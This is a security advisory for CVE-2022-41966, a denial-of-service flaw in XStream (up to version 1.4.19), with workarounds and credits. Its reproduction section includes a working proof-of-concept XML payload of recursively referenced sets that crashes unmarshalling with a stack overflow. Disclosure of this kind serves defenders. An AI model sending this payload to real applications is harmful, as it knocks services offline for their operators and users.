CVE-2022-41966

Vulnerability

CVE-2022-41966: XStream is vulnerable to a Denial of Service attack due to stack overflow.

Affected Versions

All versions until and including version 1.4.19 are affected, if using the version out of the box.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a stack overflow calculating a recursive hash set causing a denial of service.

Steps to Reproduce

Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it with XStream:

<set>
  <set>
    <set>
      <set>
        <set>
          <set>
            <set>
              <string>a</string>
            </set>
            <set>
              <string>b</string>
            </set>
          </set>
          <set>
            <string>c</string>
            <set reference='../../../set/set[2]'/>
          </set>
        </set>
      </set>
    </set>
  </set>
</set>
XStream xstream = new XStream();
xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the recursive hash calculation is entered and the executing thread is aborted with a stack overflow error.

Impact

The vulnerability may allow a remote attacker to terminate the application with a stack overflow error resulting in a denial of service only by manipulating the processed input stream.

Workarounds

A simple solution is to catch the StackOverflowError in the client code calling XStream.

If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:

XStream xstream = new XStream();
xstream.setMode(XStream.NO_REFERENCES);

If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you can use the security framework to deny the usage of these types:

XStream xstream = new XStream();
xstream.denyTypes(new Class[]{
	java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class
});

Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time:

xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class);
xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class);

However, this implies that your application does not care about the implementation of the map and all elements are comparable.

There is no known workaround to prevent this error except by catching the error in the code calling XStream.

Credits

Lai Han of nsfocus security team found and reported the issue to XStream and provided the required information to reproduce it.